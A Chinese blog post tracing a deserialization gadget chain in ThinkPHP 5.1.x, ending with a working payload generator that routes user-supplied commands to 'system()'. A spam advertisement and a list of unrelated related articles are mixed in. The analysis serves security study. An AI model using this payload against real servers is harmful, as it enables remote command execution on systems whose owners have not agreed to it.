环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈反序列化常用魔法函数

前言
我所理解的 POP Chain:
利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈

反序列化常用魔法函数

  1.  __wakeup, unserialize() 执行前调用
    __destruct, 对销毁的时候调用
    __toString, 类被当成字符串时的回应方法
    __construct(),当对象创建(new)时会自动调用,注意在
    unserialize()时并不会自动调用
    __sleep(),serialize()时会先被调用
    __call(),在对象中调用一个不可访问方法时调用
    __callStatic(),用静态方式中调用一个不可访问方法时调用
    __get(),获得一个类的成员变量时调用
    __set(),设置一个类的成员变量时调用
    __isset(),当对不可访问属性调用isset()或empty()时调用
    __unset(),当对不可访问属性调用unset()时被调用。
    __wakeup(),执行unserialize()时,先会调用这个函数
    __toString(),类被当成字符串时的回应方法
    __invoke(),调用函数的方式调用一个对象时的回应方法
    __set_state(),调用var_export()导出类时,此静态方法会被调用。
    __clone(),当对象复制完成时调用
    __autoload(),尝试加载未定义的类
    __debugInfo(),打印所需调试信息
 

phar 文件通过 phar:// 伪协议拓宽攻击面 因为 phar 文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/

如果对反序列化没有了解的话建议先学习下相关内容ThinkPHP v5.1.x POP 链分析安装这里使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用链全局搜索函数 __destruct

来到 /thinkphp/library/think/process/pipes/Windows.php

  1.  public function __destruct()
    {
    $this->close();
    $this->removeFiles();
    }
    . . . . . .
    /**
    * 删除临时文件
    */
    private function removeFiles()
    {
    foreach ($this->files as $filename) {
    if (file_exists($filename)) {
    @unlink($filename);
    }
    }
    $this->files = [];
    }
 

看下 file_exists 的描述f

  1.  ile_exists ( string $filename ) 
复制代码

: bool如果传入的 $filename 是个反序列化的对象,在被 file_exists 当作字符串处理的时候就会触发其 __toString 方法(如果有的话)所以下面就是找含 __toString 方法的类

来到 /thinkphp/library/think/model/concern/Conversion.php

  1.  public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
    return json_encode($this->toArray(), $options);
    }
    . . . . . .
    public function __toString()
    {
    return $this->toJson();
    }
 

可以看到,在 toJson() 函数中又调用了 toArray() 函数如果 toArray() 函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call 方法下面是 toArray() 函数的定义,$this->append 作为类属性是可控的,所以 $relation 和 $name 也就可控了,于是 $relation->visible($name); 就成了这个 POP 链中的中间跳板

phper在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的(点击→)我的官方群677079770https://jq.qq.com/?_wv=1027&k=5BoEMVl

  1.  public function toArray()
    {
    $item = [];
    $hasVisible = false;
    . . . . . .
    // 追加属性(必须定义获取器)
    if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
    if (is_array($name)) {
    // 追加关联对象属性
    $relation = $this->getRelation($key);
    if (!$relation) {
    $relation = $this->getAttr($key);
    if ($relation) {
    $relation->visible($name);
    }
    }
    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
    } elseif (strpos($name, '.')) {
    . . . . . .
    } else {
    $item[$name] = $this->getAttr($name, $item);
    }
    }
    }
    return $item;
    }
 

那我们在这里应该传入怎么样的值以及什么数据呢,先看下 $relation 是如何处理得到的

跟进 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义

  1.  trait RelationShip
    {
    . . . . . .
    /**
    * 获取当前模型的关联模型数据
    * @access public
    * @param string $name 关联方法名
    * @return mixed
    */
    public function getRelation($name = null)
    {
    if (is_null($name)) {
    return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
    return $this->relation[$name];
    }
    return;
    }
    . . . . . .
    }
 

由于 getRelation 最终都会 return; 导致返回 NULL,所以 下面的 if (!$relation) 一定成立所以直接跟进后面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义

  1.  trait Attribute
    {
    . . . . . .
    public function getData($name = null)
    {
    if (is_null($name)) {
    return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
    return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
    return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }
    . . . . . .
    public function getAttr($name, &$item = null)
    {
    try {
    $notFound = false;
    $value = $this->getData($name);
    } catch (InvalidArgumentException $e) {
    $notFound = true;
    $value = null;
    }
    . . . . . .
    }
    }

从 getAttr ---> getData 返回 data 数组中同名键值的元素值,即 $relation <---- $this->data[$name],我们需要的 $data 和 $append 分别位于 Attribute 和 Conversion,且两者都是 trait 类型Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载

详情可以看官方手册 PHP: Trait - Manual

所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类

发现只有 /thinkphp/library/think/Model.php 满足条件

  1.  abstract class Model implements \JsonSerializable, \ArrayAccess
    {
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    . . . . . .
    }

下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点找到 /thinkphp/library/think/Request.php 中的 Request 类

  1.  class Request
    {
    . . . . . .
    /**
    * 扩展方法
    * @var array
    */
    protected $hook = [];
    . . . . . .
    public function __call($method, $args)
    {
    if (array_key_exists($method, $this->hook)) {
    array_unshift($args, $this);
    return call_user_func_array($this->hook[$method], $args);
    }
    throw new Exception('method not exists:' . static::class . '->' . $method);
    }
    . . . . . .
    }

这里的回调参数来源于 $hook 数组,而且方法名和参数都是可控的,不过 array_unshift 函数会把若干元素前置到数组的开头

  1.   $queue = array("orange", "banana");
    array_unshift($queue, "apple", "raspberry");
    print_r($queue);
    ///
    Array
    (
    [0] => apple
    [1] => raspberry
    [2] => orange
    [3] => banana
    )

这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是 $this,无法直接执行我们想要的命令, 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制 $value 和 $filters 好执行命令

  1.  private function filterValue(&$value, $key, $filters)
    {
    $default = array_pop($filters);
    foreach ($filters as $filter) {
    if (is_callable($filter)) {
    // 调用函数或者方法过滤
    $value = call_user_func($filter, $value);
    } elseif (is_scalar($value)) {
    . . . . . .
    }
    return $value;
    }

Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控,再往上寻找调用点看看

  1.  public function input($data = [], $name = '', $default = null, $filter = '')
    {
    if (false === $name) {
    // 获取原始数据
    return $data;
    }
    $name = (string) $name;
    if ('' != $name) {
    // 解析name
    if (strpos($name, '/')) {
    list($name, $type) = explode('/', $name);
    }
    $data = $this->getData($data, $name);
    if (is_null($data)) {
    return $default;
    }
    if (is_object($data)) {
    return $data;
    }
    }
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    if (version_compare(PHP_VERSION, '7.1.0', '<')) {
    // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
    $this->arrayReset($data);
    }
    } else {
    $this->filterValue($data, $name, $filter);
    }
    . . . . . .
    return $data;
    }
复制代码

Request 类中的 param 函数调用了 input 函数,但同样参数不可控,再往上寻找调用点

  1.  public function param($name = '', $default = null, $filter = '')
    {
    . . . . . .
    if (true === $name) {
    // 获取包含文件上传信息的数组
    $file = $this->file();
    $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
    return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);
    }

转到 isAjax 函数的定义

  1.  public function isAjax($ajax = false)
    {
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    if (true === $ajax) {
    return $result;
    }
    $result = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
    }

这里 $ajax 参数没有对类型的限制,而且 param 的参数来自 $this->config,是可控的,param 在最后所调用的 input 函数的 $this->param, $name 就都可控跟进 get 和 route 函数不难发现 $this->param 的值来自 GET 请求

  1.  // 当前请求参数和URL地址中的参数合并
    $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    /*
    http://127.0.0.1:9000/public/?test=pwd
    $this->param = array("test"=>"pwd")
    */

那么回到 input 函数看处理流程

首先 $this->getData($data, $name) 得到 $data,跟进分析,返回 $data 为 $data[$val] 的值,即 $data[$name]

  1.  protected function getData(array $data, $name)
    {
    foreach (explode('.', $name) as $val) {
    if (isset($data[$val])) {
    $data = $data[$val];
    } else {
    return;
    }
    }
    return $data;
    }

回到 input,接着处理 $filter = $this->getFilter($filter, $default);getFilter 的两个参数分别为 '' 和 null 且都不可控,但是跟进不难看出最后返回 $filter 的值就是 $this->filter,虽然后面 $filter[] = $default; 会给 filter 数组追加个值为 null 的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了

  1.  protected function getFilter($filter, $default)
    {
    if (is_null($filter)) {
    $filter = [];
    } else {
    $filter = $filter ?: $this->filter;
    if (is_string($filter) && false === strpos($filter, '/')) {
    $filter = explode(',', $filter);
    } else {
    $filter = (array) $filter;
    }
    }
    $filter[] = $default;
    return $filter;
    }

这样就得到一条可控变量的函数调用链,最后执行命令

下面简单梳理下流程 通过 Windows 类 __destruct() 方法调用到 file_exists 触发某类的 __toString() 来到 toArray() 函数 通过控制分别位于 Attribute 和 Conversion 的 $data 和 $append 变量执行在 Request 中不存在的 visible 函数进而触发其 __call() 在 Request 通过控制 $hook $filter $config 三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令

  1.  __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

构造 Payload

由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以就用它吧

  1.  <?php
    namespace think;
    abstract class Model
    {
    protected $append = [];
    private $data = [];
    function __construct(){
    $this->append = ["a"=>[""]];
    $this->data = ["a"=>new Request()];
    }
    }
    namespace think\model;
    use think\Model;
    class Pivot extends Model
    {
    }
    namespace think\process\pipes;
    use think\model\Pivot;
    class Windows
    {
    private $files = [];
    public function __construct()
    {
    $this->files = [new Pivot()];
    }
    }
    namespace think;
    class Request
    {
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
    // 表单请求类型伪装变量
    'var_method' => '_method',
    // 表单ajax伪装变量
    'var_ajax' => '_ajax',
    // 表单pjax伪装变量
    'var_pjax' => '_pjax',
    // PATHINFO变量名 用于兼容模式
    'var_pathinfo' => 's',
    // 兼容PATH_INFO获取
    'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    // 默认全局过滤方法 用逗号分隔多个
    'default_filter' => '',
    // 域名根,如thinkphp.cn
    'url_domain_root' => '',
    // HTTPS代理标识
    'https_agent_name' => '',
    // IP代理获取标识
    'http_agent_ip' => 'HTTP_X_REAL_IP',
    // URL伪静态后缀
    'url_html_suffix' => 'html',
    ];
    function __construct(){
    $this->filter = "system";
    $this->config = ["var_ajax"=>''];
    $this->hook = ["visible"=>[$this,"isAjax"]];
    }
    }
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));

自己先构造一个利用点反序列化我们的内容,生成好 payload,GET 传入要执行的命令,命令别忘了 urlencode

查看调用堆栈

ThinkPHP v5.1.x POP 链分析的更多相关文章

  1. ThinkPHP V5.0 正式版发布

    ThinkPHP5.0版本是一个颠覆和重构版本,官方团队历时十月,倾注了大量的时间和精力,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持compose ...

  2. ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

    2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞.阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析.现在,对于 ...

  3. thinkphp v5.1 开发笔记

    一.安装TP5.1 1.使用git安装 <1>下载Tp git clone https://github.com/top-think/think tp5 <2>安装核心库 gi ...

  4. yso中URLDNS的pop链分析(重新分析整理)

    #发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...

  5. Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)

    文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22   http://192.168.1.1 ...

  6. thinkphp v5.1.36 LTS 如果设置跨域访问

    修改route/route.php中的路由例如 Route::get('new/:id', 'News/read') ->ext('html') ->header('Access-Cont ...

  7. ThinkPHP 数据库操作(三) : 查询方法、查询语法、链式操作

    查询方法 条件查询方法 where 方法 可以使用 where 方法进行 AND 条件查询: Db::table('think_user') ->where('name','like','%th ...

  8. 在phpstudy中安装并使用ThinkPHP 5

        最近在慕课网学习 thinkphp,由于教师使用的是 MAC下的 MAMP 环境,而我使用的是 win7 的 phpstudy,区别不大,记录在这里,方便查询.   不同系统集成环境安装: m ...

  9. 6——ThinkPhp中的请求:

    <?php namespace app\index\controller; use think\console\Input; use think\Controller; use think\Db ...

随机推荐

  1. jQuery v1.10.2如何判断checkbox(复选框)是否被选中

    做项目时,我们经常会用到jquery来做一些判断,今天自己遇上判断复选框是否选中,然后搜索查看,发现现在网上的都是错误的,下面罗列错误的: 1.$("#id").attr(&quo ...

  2. gitlab 提交

    gitlab 提交 Git global setup git config --global user.name "lial" git config --global user.e ...

  3. go-json类

    package main import ( "encoding/json" "fmt" ) /* { "company":"itc ...

  4. python类方法@classmethod与@staticmethod

    目录 python类方法@classmethod与@staticmethod 一.@classmethod 介绍 语法 举例 二.@staticmethod 介绍 语法 举例 python类方法@cl ...

  5. 解析fiddler返回的部分数据。

    1.通过抓包获取的数据,里面包含的哪些内容是需要我们去关注的? 2.首先上图. 3.图片说明: 此图片中是利用豆瓣API提供的接口实现返回数据.内容与抓包返回的内容格式一致 url:https://a ...

  6. java架构之路-(Redis专题)redis面试助力满分+

    1.Redis支持的数据类型? 答:五种,在第一节redis相关的博客我就说过,String,Hash,List,Set,zSet,也就是我们的字符串,哈希,列表,集合,有序集合五种.结构图如下. 2 ...

  7. mysql8 的安装和设置

    mysql8的安装 写在前面 与5.*的版本整体差不多,但是安装细节决定成败 下载 点击https://dev.mysql.com/downloads/file/?id=476233,也可以点这里,有 ...

  8. Redis(二)数据结构与键管理

    一.基础知识 1.全局命令 keys *   :查看所有键 dbsize:返回当前数据库中键的总数 exists key:检查键是否存在 del key ... :删除键 expire key sec ...

  9. Unity调用Android

    1.Unity调用Android 根据unity用户手册,unity可以采用native code(c/c++),但是也提供了C#调用方法,本文对此进行简单讲解. 2.Unity获取android类 ...

  10. 网络数据请求request

    关于网络数据请求的类很多,httpwebrequest,webrequest,webclient以及httpclient,具体差别在此不在赘述,在应用方面介绍webclient与httpclient则 ...